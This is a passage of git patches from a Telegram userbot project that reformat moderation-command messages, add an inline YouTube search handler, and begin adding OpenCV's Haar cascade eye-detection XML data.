demote(dmod): except BadRequestError: await dmod.edit(NO_PERM) return - await dmod.edit(f"Demoted, [{user.first_name}](tg://user?id={user.id}) in {dmod.chat.title} Sucessfully!") + await dmod.edit( + f"Demoted, [{user.first_name}](tg://user?id={user.id}) in {dmod.chat.title} Sucessfully!" + ) # Announce to the logging group if we have demoted successfully if BOTLOG: @@ -267,9 +271,13 @@ async def ban(bon): # is done gracefully # Shout out the ID, so that fedadmins can fban later if reason: - await bon.edit(f"Sucessfully, Banned [{user.first_name}](tg://user?id={user.id}) in {bon.chat.title} For Reason: {reason}") + await bon.edit( + f"Sucessfully, Banned [{user.first_name}](tg://user?id={user.id}) in {bon.chat.title} For Reason: {reason}" + ) else: - await bon.edit(f"Sucessfully, Banned [{user.first_name}](tg://user?id={user.id}) in {bon.chat.title}") + await bon.edit( + f"Sucessfully, Banned [{user.first_name}](tg://user?id={user.id}) in {bon.chat.title}" + ) # Announce to the logging group if we have banned the person # successfully! if BOTLOG: @@ -308,7 +316,9 @@ async def nothanos(unbon): try: await unbon.client(EditBannedRequest(unbon.chat_id, user.id, UNBAN_RIGHTS)) - await unbon.edit(f"Sucessfully, UnBanned, [{user.first_name}](tg://user?id={user.id}) in {unbon.chat.title}") + await unbon.edit( + f"Sucessfully, UnBanned, [{user.first_name}](tg://user?id={user.id}) in {unbon.chat.title}" + ) if BOTLOG: await unbon.client.send_message( @@ -490,7 +500,9 @@ async def pin(msg): await msg.edit(NO_PERM) return - await msg.edit(f"I Have Pinned This [Message](http://t.me/c/{msg.chat_id}/{to_pin})") + await msg.edit( + f"I Have Pinned This [Message](http://t.me/c/{msg.chat_id}/{to_pin})" + ) user = await get_user_from_id(msg.from_id, msg) if BOTLOG: @@ -537,7 +549,9 @@ async def kick(usr): f"I Have Kicked [{user.first_name}](tg://user?id={user.id}) from {usr.chat.title} For Reason : {reason}" ) else: - await usr.edit(f"Kicked [{user.first_name}](tg://user?id={user.id}) from {usr.chat.title}") + await usr.edit( + f"Kicked [{user.first_name}](tg://user?id={user.id}) from {usr.chat.title}" + ) if BOTLOG: await usr.client.send_message( From 2f3b959c180e9da120e43141af856d8753cc4d7f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:58:35 +0530 Subject: [PATCH 567/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 55 +++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index f31929e5..25564555 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -626,6 +626,61 @@ async def inline_id_handler(event: events.InlineQuery.Event): ) await event.answer(results) +@tgbot.on(events.InlineQuery(pattern=r"yt (.*)")) +async def inline_id_handler(event: events.InlineQuery.Event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="Not Allowded", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return + testinput = event.pattern_match.group(1) + urllib.parse.quote_plus(testinput) + results = [] + moi = YoutubeSearch(testinput, max_results=9).to_dict() + if not moi: + resultm = builder.article( + title="No Results Found.", + description="Check Your Spelling / Keyword", + text="**Please, Search Again With Correct Keyword, Thank you !**", + buttons=[ + [Button.switch_inline("Search Again", query="yt ", same_peer=True)], + ], + ) + await event.answer([resultm]) + return + for moon in moi: + hmm = moon["id"] + mo = f"https://www.youtube.com/watch?v={hmm}" + kek = f"https://www.youtube.com/watch?v={hmm}" + stark_name = moon["title"] + stark_chnnl = moon["channel"] + total_stark = moon["duration"] + stark_views = moon["views"] + lol_desc = moon["long_desc"] + kekme = f"https://img.youtube.com/vi/{hmm}/hqdefault.jpg" + okayz = f"**Title :** `{stark_name}` \n**Link :** `{kek}` \n**Channel :** `{stark_chnnl}` \n**Views :** `{stark_views}` \n**Duration :** `{total_stark}`" + hmmkek = f"Video Name : {stark_name} \nChannel : {stark_chnnl} \nDuration : {total_stark} \nViews : {stark_views}" + results.append( + await event.builder.document( + file=kekme, + title=stark_name, + description=hmmkek, + text=okayz, + include_media=True, + buttons=[ + [custom.Button.inline("Download Video - mp4", data=f"yt_vid_{mo}")], + [custom.Button.inline("Download Audio - mp3", data=f"yt_dla_{mo}")], + [Button.switch_inline("Search Again", query="yt ", same_peer=True)], + ] + ) + ) + await event.answer(results) + + + @tgbot.on(events.InlineQuery(pattern=r"jm (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): From 7fc4ef0e9c4f97d34a6effef7d481ac296c0c6df Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 18:29:33 +0000 Subject: [PATCH 568/838] pylint: auto fixes --- fridaybot/modules/_inlinebot.py | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 25564555..f79c2d06 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -626,6 +626,7 @@ async def inline_id_handler(event: events.InlineQuery.Event): ) await event.answer(results) + @tgbot.on(events.InlineQuery(pattern=r"yt (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder @@ -659,7 +660,7 @@ async def inline_id_handler(event: events.InlineQuery.Event): stark_chnnl = moon["channel"] total_stark = moon["duration"] stark_views = moon["views"] - lol_desc = moon["long_desc"] + moon["long_desc"] kekme = f"https://img.youtube.com/vi/{hmm}/hqdefault.jpg" okayz = f"**Title :** `{stark_name}` \n**Link :** `{kek}` \n**Channel :** `{stark_chnnl}` \n**Views :** `{stark_views}` \n**Duration :** `{total_stark}`" hmmkek = f"Video Name : {stark_name} \nChannel : {stark_chnnl} \nDuration : {total_stark} \nViews : {stark_views}" @@ -671,16 +672,14 @@ async def inline_id_handler(event: events.InlineQuery.Event): text=okayz, include_media=True, buttons=[ - [custom.Button.inline("Download Video - mp4", data=f"yt_vid_{mo}")], - [custom.Button.inline("Download Audio - mp3", data=f"yt_dla_{mo}")], - [Button.switch_inline("Search Again", query="yt ", same_peer=True)], - ] - ) + [custom.Button.inline("Download Video - mp4", data=f"yt_vid_{mo}")], + [custom.Button.inline("Download Audio - mp3", data=f"yt_dla_{mo}")], + [Button.switch_inline("Search Again", query="yt ", same_peer=True)], + ], + ) ) await event.answer(results) - - - + @tgbot.on(events.InlineQuery(pattern=r"jm (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): From 16de60e8aa822812ff86333d773a3622286c7058 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:59:51 +0530 Subject: [PATCH 569/838] Add files via upload --- resources/thuglife/haarcascade_eye.xml | 19896 +++++++++++++++++++++++ 1 file changed, 19896 insertions(+) create mode 100644 resources/thuglife/haarcascade_eye.xml diff --git a/resources/thuglife/haarcascade_eye.xml b/resources/thuglife/haarcascade_eye.xml new file mode 100644 index 00000000..d01124b0 --- /dev/null +++ b/resources/thuglife/haarcascade_eye.xml @@ -0,0 +1,19896 @@ + + + + + BOOST + HAAR + 20 + 20 + + 93 + + + 0 + + 24 + + <_> + 6 + -1.4562760591506958e+00 + + <_> + + 0 -1 0 1.2963959574699402e-01 + + + -7.7304208278656006e-01 6.8350148200988770e-01 + + + <_> + + 0 -1 1 -4.6326808631420135e-02 + + + 5.7352751493453979e-01 -4.9097689986228943e-01 + + + <_> + + 0 -1 2 -1.6173090785741806e-02 + + + 6.0254341363906860e-01 -3.1610709428787231e-01 + + + <_> + + 0 -1 3 -4.5828841626644135e-02 + + + 6.4177548885345459e-01 -1.5545040369033813e-01 + + + <_> + + 0 -1 4 -5.3759619593620300e-02 + + + 5.4219317436218262e-01 -2.0480829477310181e-01 + + + <_> + + 0 -1 5 3.4171190112829208e-02 + + + -2.3388190567493439e-01 4.8410901427268982e-01 + + + + + <_> + 12 + -1.2550230026245117e+00 + + <_> + + 0 -1 6 -2.1727620065212250e-01 + + + 7.1098899841308594e-01 -5.9360730648040771e-01 + + + <_> + + 0 -1 7 1.2071969918906689e-02 + + + -2.8240481019020081e-01 5.9013551473617554e-01 + + + <_> + + 0 -1 8 -1.7854139208793640e-02 + + + 5.3137522935867310e-01 -2.2758960723876953e-01 + + + <_> + + 0 -1 9 2.2333610802888870e-02 + + + -1.7556099593639374e-01 6.3356137275695801e-01 + + + <_> + + 0 -1 10 -9.1420017182826996e-02 + + + 6.1563092470169067e-01 -1.6899530589580536e-01 + + + <_> + + 0 -1 11 2.8973650187253952e-02 + + + -1.2250079959630966e-01 7.4401170015335083e-01 + + + <_> + + 0 -1 12 7.8203463926911354e-03 + + + 1.6974370181560516e-01 -6.5441650152206421e-01 + + + <_> + + 0 -1 13 2.0340489223599434e-02 + + + -1.2556649744510651e-01 8.2710450887680054e-01 + + + <_> + + 0 -1 14 -1.1926149949431419e-02 + + + 3.8605681061744690e-01 -2.0992340147495270e-01 + + + <_> + + 0 -1 15 -9.7281101625412703e-04 + + + -6.3761192560195923e-01 1.2952390313148499e-01 + + + <_> + + 0 -1 16 1.8322050891583785e-05 + + + -3.4631478786468506e-01 2.2924269735813141e-01 + + + <_> + + 0 -1 17 -8.0854417756199837e-03 + + + -6.3665801286697388e-01 1.3078659772872925e-01 + + + + + <_> + 9 + -1.3728189468383789e+00 + + <_> + + 0 -1 18 -1.1812269687652588e-01 + + + 6.7844521999359131e-01 -5.0045782327651978e-01 + + + <_> + + 0 -1 19 -3.4332759678363800e-02 + + + 6.7186361551284790e-01 -3.5744878649711609e-01 + + + <_> + + 0 -1 20 -2.1530799567699432e-02 + + + 7.2220700979232788e-01 -1.8192419409751892e-01 + + + <_> + + 0 -1 21 -2.1909970790147781e-02 + + + 6.6529387235641479e-01 -2.7510228753089905e-01 + + + <_> + + 0 -1 22 -2.8713539242744446e-02 + + + 6.9955700635910034e-01 -1.9615580141544342e-01 + + + <_> + + 0 -1 23 -1.1467480100691319e-02 + + + 5.9267348051071167e-01 -2.2097350656986237e-01 + + + <_> + + 0 -1 24 -2.2611169144511223e-02 + + + 3.4483069181442261e-01 -3.8379558920860291e-01 + + + <_> + + 0 -1 25 -1.9308089977130294e-03 + + + -7.9445719718933105e-01 1.5628659725189209e-01 + + + <_> + + 0 -1 26 5.6419910833938047e-05 + + + -3.0896010994911194e-01 3.5431089997291565e-01 + + + + + <_> + 16 + -1.2879480123519897e+00 + + <_> + + 0 -1 27 1.9886520504951477e-01 + + + -5.2860701084136963e-01 3.5536721348762512e-01 + + + <_> + + 0 -1 28 -3.6008939146995544e-02 + + + 4.2109689116477966e-01 -3.9348980784416199e-01 + + + <_> + + 0 -1 29 -7.7569849789142609e-02 + + + 4.7991541028022766e-01 -2.5122168660163879e-01 + + + <_> + + 0 -1 30 8.2630853285081685e-05 + + + -3.8475489616394043e-01 3.1849220395088196e-01 + + + <_> + + 0 -1 31 3.2773229759186506e-04 + + + -2.6427319645881653e-01 3.2547241449356079e-01 + + + <_> + + 0 -1 32 -1.8574850633740425e-02 + + + 4.6736589074134827e-01 -1.5067270398139954e-01 + + + <_> + + 0 -1 33 -7.0008762122597545e-05 + + + 2.9313150048255920e-01 -2.5365099310874939e-01 + + + <_> + + 0 -1 34 -1.8552130088210106e-02 + + + 4.6273660659790039e-01 -1.3148050010204315e-01 + + + <_> + + 0 -1 35 -1.3030420057475567e-02 + + + 4.1627219319343567e-01 -1.7751489579677582e-01 + + + <_> + + 0 -1 36 6.5694141085259616e-05 + + + -2.8035101294517517e-01 2.6680740714073181e-01 + + + <_> + + 0 -1 37 1.7005260451696813e-04 + + + -2.7027249336242676e-01 2.3981650173664093e-01 + + + <_> + + 0 -1 38 -3.3129199873656034e-03 + + + 4.4411438703536987e-01 -1.4428889751434326e-01 + + + <_> + + 0 -1 39 1.7583490116521716e-03 + + + -1.6126190125942230e-01 4.2940768599510193e-01 + + + <_> + + 0 -1 40 -2.5194749236106873e-02 + + + 4.0687298774719238e-01 -1.8202580511569977e-01 + + + <_> + + 0 -1 41 1.4031709870323539e-03 + + + 8.4759786725044250e-02 -8.0018568038940430e-01 + + + <_> + + 0 -1 42 -7.3991729877889156e-03 + + + 5.5766099691390991e-01 -1.1843159794807434e-01 + + + + + <_> + 23 + -1.2179850339889526e+00 + + <_> + + 0 -1 43 -2.9943080618977547e-02 + + + 3.5810810327529907e-01 -3.8487631082534790e-01 + + + <_> + + 0 -1 44 -1.2567380070686340e-01 + + + 3.9316931366920471e-01 -3.0012258887290955e-01 + + + <_> + + 0 -1 45 5.3635272197425365e-03 + + + -4.3908619880676270e-01 1.9257010519504547e-01 + + + <_> + + 0 -1 46 -8.0971820279955864e-03 + + + 3.9906668663024902e-01 -2.3407870531082153e-01 + + + <_> + + 0 -1 47 -1.6597909852862358e-02 + + + 4.2095288634300232e-01 -2.2674840688705444e-01 + + + <_> + + 0 -1 48 -2.0199299324303865e-03 + + + -7.4156731367111206e-01 1.2601189315319061e-01 + + + <_> + + 0 -1 49 -1.5202340437099338e-03 + + + -7.6154601573944092e-01 8.6373612284660339e-02 + + + <_> + + 0 -1 50 -4.9663940444588661e-03 + + + 4.2182239890098572e-01 -1.7904919385910034e-01 + + + <_> + + 0 -1 51 -1.9207600504159927e-02 + + + 4.6894899010658264e-01 -1.4378750324249268e-01 + + + <_> + + 0 -1 52 -1.2222680263221264e-02 + + + 3.2842078804969788e-01 -2.1802149713039398e-01 + + + <_> + + 0 -1 53 5.7548668235540390e-02 + + + -3.6768808960914612e-01 2.4357110261917114e-01 + + + <_> + + 0 -1 54 -9.5794079825282097e-03 + + + -7.2245067358016968e-01 6.3664563000202179e-02 + + + <_> + + 0 -1 55 -2.9545740690082312e-03 + + + 3.5846439003944397e-01 -1.6696329414844513e-01 + + + <_> + + 0 -1 56 -4.2017991654574871e-03 + + + 3.9094808697700500e-01 -1.2041790038347244e-01 + + + <_> + + 0 -1 57 -1.3624990358948708e-02 + + + -5.8767718076705933e-01 8.8404729962348938e-02 + + + <_> + + 0 -1 58 6.2853112467564642e-05 + + + -2.6348459720611572e-01 2.1419279277324677e-01 + + + <_> + + 0 -1 59 -2.6782939676195383e-03 + + + -7.8390169143676758e-01 8.0526962876319885e-02 + + + <_> + + 0 -1 60 -7.0597179234027863e-02 + + + 4.1469261050224304e-01 -1.3989959657192230e-01 + + + <_> + + 0 -1 61 9.2093646526336670e-02 + + + -1.3055180013179779e-01 5.0435781478881836e-01 + + + <_> + + 0 -1 62 -8.8004386052489281e-03 + + + 3.6609750986099243e-01 -1.4036649465560913e-01 + + + <_> + + 0 -1 63 7.5080977694597095e-05 + + + -2.9704439640045166e-01 2.0702940225601196e-01 + + + <_> + + 0 -1 64 -2.9870450962334871e-03 + + + 3.5615700483322144e-01 -1.5445969998836517e-01 + + + <_> + + 0 -1 65 -2.6441509835422039e-03 + + + -5.4353517293930054e-01 1.0295110195875168e-01 + + + + + <_> + 27 + -1.2905240058898926e+00 + + <_> + + 0 -1 66 -4.7862470149993896e-02 + + + 4.1528239846229553e-01 -3.4185820817947388e-01 + + + <_> + + 0 -1 67 8.7350532412528992e-02 + + + -3.8749781250953674e-01 2.4204200506210327e-01 + + + <_> + + 0 -1 68 -1.6849499195814133e-02 + + + 5.3082478046417236e-01 -1.7282910645008087e-01 + + + <_> + + 0 -1 69 -2.8870029374957085e-02 + + + 3.5843509435653687e-01 -2.2402590513229370e-01 + + + <_> + + 0 -1 70 2.5679389946162701e-03 + + + 1.4990499615669250e-01 -6.5609407424926758e-01 + + + <_> + + 0 -1 71 -2.4116659536957741e-02 + + + 5.5889678001403809e-01 -1.4810280501842499e-01 + + + <_> + + 0 -1 72 -3.2826658338308334e-02 + + + 4.6468681097030640e-01 -1.0785529762506485e-01 + + + <_> + + 0 -1 73 -1.5233060345053673e-02 + + + -7.3954427242279053e-01 5.6236881762742996e-02 + + + <_> + + 0 -1 74 -3.0209511169232428e-04 + + + -4.5548820495605469e-01 9.7069837152957916e-02 + + + <_> + + 0 -1 75 7.5365108205005527e-04 + + + 9.5147296786308289e-02 -5.4895019531250000e-01 + + + <_> + + 0 -1 76 -1.0638950392603874e-02 + + + 4.0912970900535583e-01 -1.2308409810066223e-01 + + + <_> + + 0 -1 77 -7.5217830017209053e-03 + + + 4.0289148688316345e-01 -1.6048780083656311e-01 + + + <_> + + 0 -1 78 -1.0677099972963333e-01 + + + 6.1759322881698608e-01 -7.3091186583042145e-02 + + + <_> + + 0 -1 79 1.6256919130682945e-02 + + + -1.3103680312633514e-01 3.7453651428222656e-01 + + + <_> + + 0 -1 80 -2.0679360255599022e-02 + + + -7.1402907371520996e-01 5.2390009164810181e-02 + + + <_> + + 0 -1 81 1.7052369192242622e-02 + + + 1.2822860479354858e-01 -3.1080681085586548e-01 + + + <_> + + 0 -1 82 -5.7122060097754002e-03 + + + -6.0556507110595703e-01 8.1884756684303284e-02 + + + <_> + + 0 -1 83 2.0851430235779844e-05 + + + -2.6812988519668579e-01 1.4453840255737305e-01 + + + <_> + + 0 -1 84 7.9284431412816048e-03 + + + -7.8795351088047028e-02 5.6762582063674927e-01 + + + <_> + + 0 -1 85 -2.5217379443347454e-03 + + + 3.7068629264831543e-01 -1.3620570302009583e-01 + + + <_> + + 0 -1 86 -2.2426199167966843e-02 + + + -6.8704998493194580e-01 5.1062859594821930e-02 + + + <_> + + 0 -1 87 -7.6451441273093224e-03 + + + 2.3492220044136047e-01 -1.7905959486961365e-01 + + + <_> + + 0 -1 88 -1.1175329564139247e-03 + + + -5.9869050979614258e-01 7.4324436485767365e-02 + + + <_> + + 0 -1 89 1.9212789833545685e-02 + + + -1.5702550113201141e-01 2.9737469553947449e-01 + + + <_> + + 0 -1 90 5.6293429806828499e-03 + + + -9.9769018590450287e-02 4.2130270600318909e-01 + + + <_> + + 0 -1 91 -9.5671862363815308e-03 + + + -6.0858798027038574e-01 7.3506258428096771e-02 + + + <_> + + 0 -1 92 1.1217960156500340e-02 + + + -1.0320810228586197e-01 4.1909849643707275e-01 + + + + + <_> + 28 + -1.1600480079650879e+00 + + <_> + + 0 -1 93 -1.7486440017819405e-02 + + + 3.1307280063629150e-01 -3.3681181073188782e-01 + + + <_> + + 0 -1 94 3.0714649707078934e-02 + + + -1.8766190111637115e-01 5.3780800104141235e-01 + + + <_> + + 0 -1 95 -2.2188719362020493e-02 + + + 3.6637881398200989e-01 -1.6124810278415680e-01 + + + <_> + + 0 -1 96 -5.0700771680567414e-05 + + + 2.1245710551738739e-01 -2.8444620966911316e-01 + + + <_> + + 0 -1 97 -7.0170420221984386e-03 + + + 3.9543110132217407e-01 -1.3173590600490570e-01 + + + <_> + + 0 -1 98 -6.8563609384000301e-03 + + + 3.0373859405517578e-01 -2.0657819509506226e-01 + + + <_> + + 0 -1 99 -1.4129259623587132e-02 + + + -7.6503008604049683e-01 9.8213188350200653e-02 + + + <_> + + 0 -1 100 -4.7915481030941010e-02 + + + 4.8307389020919800e-01 -1.3006809353828430e-01 + + + <_> + + 0 -1 101 4.7032979637151584e-05 + + + -2.5216570496559143e-01 2.4386680126190186e-01 + + + <_> + + 0 -1 102 1.0221180273219943e-03 + + + 6.8857602775096893e-02 -6.5861141681671143e-01 + + + <_> + + 0 -1 103 -2.6056109927594662e-03 + + + 4.2942029237747192e-01 -1.3022460043430328e-01 + + + <_> + + 0 -1 104 5.4505340813193470e-05 + + + -1.9288620352745056e-01 2.8958499431610107e-01 + + + <_> + + 0 -1 105 -6.6721157054416835e-05 + + + 3.0290710926055908e-01 -1.9854369759559631e-01 + + + <_> + + 0 -1 106 2.6281431317329407e-01 + + + -2.3293940722942352e-01 2.3692460358142853e-01 + + + <_> + + 0 -1 107 -2.3569669574499130e-02 + + + 1.9401040673255920e-01 -2.8484618663787842e-01 + + + <_> + + 0 -1 108 -3.9120172150433064e-03 + + + 5.5378979444503784e-01 -9.5665678381919861e-02 + + + <_> + + 0 -1 109 5.0788799853762612e-05 + + + -2.3912659287452698e-01 2.1799489855766296e-01 + + + <_> + + 0 -1 110 -7.8732017427682877e-03 + + + 4.0697428584098816e-01 -1.2768040597438812e-01 + + + <_> + + 0 -1 111 -1.6778609715402126e-03 + + + -5.7744657993316650e-01 9.7324788570404053e-02 + + + <_> + + 0 -1 112 -2.6832430739887059e-04 + + + 2.9021880030632019e-01 -1.6831269860267639e-01 + + + <_> + + 0 -1 113 7.8687182394787669e-05 + + + -1.9551570713520050e-01 2.7720969915390015e-01 + + + <_> + + 0 -1 114 1.2953500263392925e-02 + + + -9.6838317811489105e-02 4.0323871374130249e-01 + + + <_> + + 0 -1 115 -1.3043959625065327e-02 + + + 4.7198569774627686e-01 -8.9287549257278442e-02 + + + <_> + + 0 -1 116 3.0261781066656113e-03 + + + -1.3623380661010742e-01 3.0686271190643311e-01 + + + <_> + + 0 -1 117 -6.0438038781285286e-03 + + + -7.7954101562500000e-01 5.7316310703754425e-02 + + + <_> + + 0 -1 118 -2.2507249377667904e-03 + + + 3.0877059698104858e-01 -1.5006309747695923e-01 + + + <_> + + 0 -1 119 1.5826810151338577e-02 + + + 6.4551889896392822e-02 -7.2455567121505737e-01 + + + <_> + + 0 -1 120 6.5864507632795721e-05 + + + -1.7598840594291687e-01 2.3210389912128448e-01 + + + + + <_> + 36 + -1.2257250547409058e+00 + + <_> + + 0 -1 121 -2.7854869142174721e-02 + + + 4.5518448948860168e-01 -1.8099910020828247e-01 + + + <_> + + 0 -1 122 1.2895040214061737e-01 + + + -5.2565532922744751e-01 1.6188900172710419e-01 + + + <_> + + 0 -1 123 2.4403180927038193e-02 + + + -1.4974960684776306e-01 4.2357379198074341e-01 + + + <_> + + 0 -1 124 -2.4458570405840874e-03 + + + 3.2948669791221619e-01 -1.7447690665721893e-01 + + + <_> + + 0 -1 125 -3.5336529836058617e-03 + + + 4.7426640987396240e-01 -7.3618359863758087e-02 + + + <_> + + 0 -1 126 5.1358150813030079e-05 + + + -3.0421930551528931e-01 1.5633270144462585e-01 + + + <_> + + 0 -1 127 -1.6225680708885193e-02 + + + 2.3002180457115173e-01 -2.0359820127487183e-01 + + + <_> + + 0 -1 128 -4.6007009223103523e-03 + + + 4.0459269285202026e-01 -1.3485440611839294e-01 + + + <_> + + 0 -1 129 -2.1928999572992325e-02 + + + -6.8724489212036133e-01 8.0684266984462738e-02 + + + <_> + + 0 -1 130 -2.8971210122108459e-03 + + + -6.9619607925415039e-01 4.8545219004154205e-02 + + + <_> + + 0 -1 131 -4.4074649922549725e-03 + + + 2.5166261196136475e-01 -1.6236649453639984e-01 + + + <_> + + 0 -1 132 2.8437169268727303e-02 + + + 6.0394261032342911e-02 -6.6744458675384521e-01 + + + <_> + + 0 -1 133 8.3212882280349731e-02 + + + 6.4357921481132507e-02 -5.3626042604446411e-01 + + + <_> + + 0 -1 134 -1.2419329956173897e-02 + + + -7.0816862583160400e-01 5.7526610791683197e-02 + + + <_> + + 0 -1 135 -4.6992599964141846e-03 + + + 5.1254332065582275e-01 -8.7350800633430481e-02 + + + <_> + + 0 -1 136 -7.8025809489190578e-04 + + + 2.6687660813331604e-01 -1.7961509525775909e-01 + + + <_> + + 0 -1 137 -1.9724339246749878e-02 + + + -6.7563730478286743e-01 7.2941906750202179e-02 + + + <_> + + 0 -1 138 1.0269250487908721e-03 + + + 5.3919319063425064e-02 -5.5540180206298828e-01 + + + <_> + + 0 -1 139 -2.5957189500331879e-02 + + + 5.6362527608871460e-01 -7.1898393332958221e-02 + + + <_> + + 0 -1 140 -1.2552699772641063e-03 + + + -5.0346630811691284e-01 8.9691452682018280e-02 + + + <_> + + 0 -1 141 -4.9970578402280807e-02 + + + 1.7685119807720184e-01 -2.2301959991455078e-01 + + + <_> + + 0 -1 142 -2.9899610672146082e-03 + + + 3.9122420549392700e-01 -1.0149750113487244e-01 + + + <_> + + 0 -1 143 4.8546842299401760e-03 + + + -1.1770179867744446e-01 4.2190939188003540e-01 + + + <_> + + 0 -1 144 1.0448860120959580e-04 + + + -1.7333979904651642e-01 2.2344440221786499e-01 + + + <_> + + 0 -1 145 5.9689260524464771e-05 + + + -2.3409630358219147e-01 1.6558240354061127e-01 + + + <_> + + 0 -1 146 -1.3423919677734375e-02 + + + 4.3023818731307983e-01 -9.9723652005195618e-02 + + + <_> + + 0 -1 147 2.2581999655812979e-03 + + + 7.2720989584922791e-02 -5.7501018047332764e-01 + + + <_> + + 0 -1 148 -1.2546280398964882e-02 + + + 3.6184579133987427e-01 -1.1457010358572006e-01 + + + <_> + + 0 -1 149 -2.8705769218504429e-03 + + + 2.8210538625717163e-01 -1.2367550283670425e-01 + + + <_> + + 0 -1 150 1.9785640761256218e-02 + + + 4.7876749187707901e-02 -8.0666238069534302e-01 + + + <_> + + 0 -1 151 4.7588930465281010e-03 + + + -1.0925389826297760e-01 3.3746978640556335e-01 + + + <_> + + 0 -1 152 -6.9974269717931747e-03 + + + -8.0295938253402710e-01 4.5706700533628464e-02 + + + <_> + + 0 -1 153 -1.3033480383455753e-02 + + + 1.8680439889431000e-01 -1.7688910663127899e-01 + + + <_> + + 0 -1 154 -1.3742579612880945e-03 + + + 2.7725479006767273e-01 -1.2809009850025177e-01 + + + <_> + + 0 -1 155 2.7657810132950544e-03 + + + 9.0758942067623138e-02 -4.2594739794731140e-01 + + + <_> + + 0 -1 156 2.8941841446794569e-04 + + + -3.8816329836845398e-01 8.9267797768115997e-02 + + + + + <_> + 47 + -1.2863140106201172e+00 + + <_> + + 0 -1 157 -1.4469229616224766e-02 + + + 3.7507829070091248e-01 -2.4928289651870728e-01 + + + <_> + + 0 -1 158 -1.3317629694938660e-01 + + + 3.0166378617286682e-01 -2.2414070367813110e-01 + + + <_> + + 0 -1 159 -1.0132160037755966e-02 + + + 3.6985591053962708e-01 -1.7850010097026825e-01 + + + <_> + + 0 -1 160 -7.8511182218790054e-03 + + + 4.6086761355400085e-01 -1.2931390106678009e-01 + + + <_> + + 0 -1 161 -1.4295839704573154e-02 + + + 4.4841429591178894e-01 -1.0226240009069443e-01 + + + <_> + + 0 -1 162 -5.9606940485537052e-03 + + + 2.7927988767623901e-01 -1.5323829650878906e-01 + + + <_> + + 0 -1 163 1.0932769626379013e-02 + + + -1.5141740441322327e-01 3.9889648556709290e-01 + + + <_> + + 0 -1 164 5.0430990086169913e-05 + + + -2.2681570053100586e-01 2.1644389629364014e-01 + + + <_> + + 0 -1 165 -5.8431681245565414e-03 + + + 4.5420148968696594e-01 -1.2587159872055054e-01 + + + <_> + + 0 -1 166 -2.2346209734678268e-02 + + + -6.2690192461013794e-01 8.2403123378753662e-02 + + + <_> + + 0 -1 167 -4.8836669884622097e-03 + + + 2.6359251141548157e-01 -1.4686630666255951e-01 + + + <_> + + 0 -1 168 7.5506002758629620e-05 + + + -2.4507020413875580e-01 1.6678880155086517e-01 + + + <_> + + 0 -1 169 -4.9026997294276953e-04 + + + -4.2649960517883301e-01 8.9973561465740204e-02 + + + <_> + + 0 -1 170 1.4861579984426498e-03 + + + -1.2040250003337860e-01 3.0097651481628418e-01 + + + <_> + + 0 -1 171 -1.1988339945673943e-02 + + + 2.7852478623390198e-01 -1.2244340032339096e-01 + + + <_> + + 0 -1 172 1.0502239689230919e-02 + + + 4.0452759712934494e-02 -7.4050408601760864e-01 + + + <_> + + 0 -1 173 -3.0963009223341942e-02 + + + -6.2842690944671631e-01 4.8013761639595032e-02 + + + <_> + + 0 -1 174 1.1414520442485809e-02 + + + 3.9405211806297302e-02 -7.1674120426177979e-01 + + + <_> + + 0 -1 175 -1.2337000109255314e-02 + + + 1.9941329956054688e-01 -1.9274300336837769e-01 + + + <_> + + 0 -1 176 -5.9942267835140228e-03 + + + 5.1318162679672241e-01 -6.1658058315515518e-02 + + + <_> + + 0 -1 177 -1.1923230485990644e-03 + + + -7.2605299949645996e-01 5.0652720034122467e-02 + + + <_> + + 0 -1 178 -7.4582789093255997e-03 + + + 2.9603078961372375e-01 -1.1754789948463440e-01 + + + <_> + + 0 -1 179 2.7877509128302336e-03 + + + 4.5068711042404175e-02 -6.9535410404205322e-01 + + + <_> + + 0 -1 180 -2.2503209766000509e-04 + + + 2.0047250390052795e-01 -1.5775249898433685e-01 + + + <_> + + 0 -1 181 -5.0367889925837517e-03 + + + 2.9299819469451904e-01 -1.1700499802827835e-01 + + + <_> + + 0 -1 182 7.4742160737514496e-02 + + + -1.1392319947481155e-01 3.0256620049476624e-01 + + + <_> + + 0 -1 183 2.0255519077181816e-02 + + + -1.0515890270471573e-01 4.0670460462570190e-01 + + + <_> + + 0 -1 184 4.4214509427547455e-02 + + + -2.7631640434265137e-01 1.2363869696855545e-01 + + + <_> + + 0 -1 185 -8.7259558495134115e-04 + + + 2.4355030059814453e-01 -1.3300949335098267e-01 + + + <_> + + 0 -1 186 -2.4453739169985056e-03 + + + -5.3866171836853027e-01 6.2510646879673004e-02 + + + <_> + + 0 -1 187 8.2725353422574699e-05 + + + -2.0772209763526917e-01 1.6270439326763153e-01 + + + <_> + + 0 -1 188 -3.6627110093832016e-02 + + + 3.6568409204483032e-01 -9.0330280363559723e-02 + + + <_> + + 0 -1 189 3.0996399000287056e-03 + + + -1.3183020055294037e-01 2.5354298949241638e-01 + + + <_> + + 0 -1 190 -2.4709280114620924e-03 + + + -5.6853497028350830e-01 5.3505431860685349e-02 + + + <_> + + 0 -1 191 -1.4114670455455780e-02 + + + -4.8599010705947876e-01 5.8485250920057297e-02 + + + <_> + + 0 -1 192 8.4537261864170432e-04 + + + -8.0093637108802795e-02 4.0265649557113647e-01 + + + <_> + + 0 -1 193 -7.1098632179200649e-03 + + + 4.4703239202499390e-01 -6.2947437167167664e-02 + + + <_> + + 0 -1 194 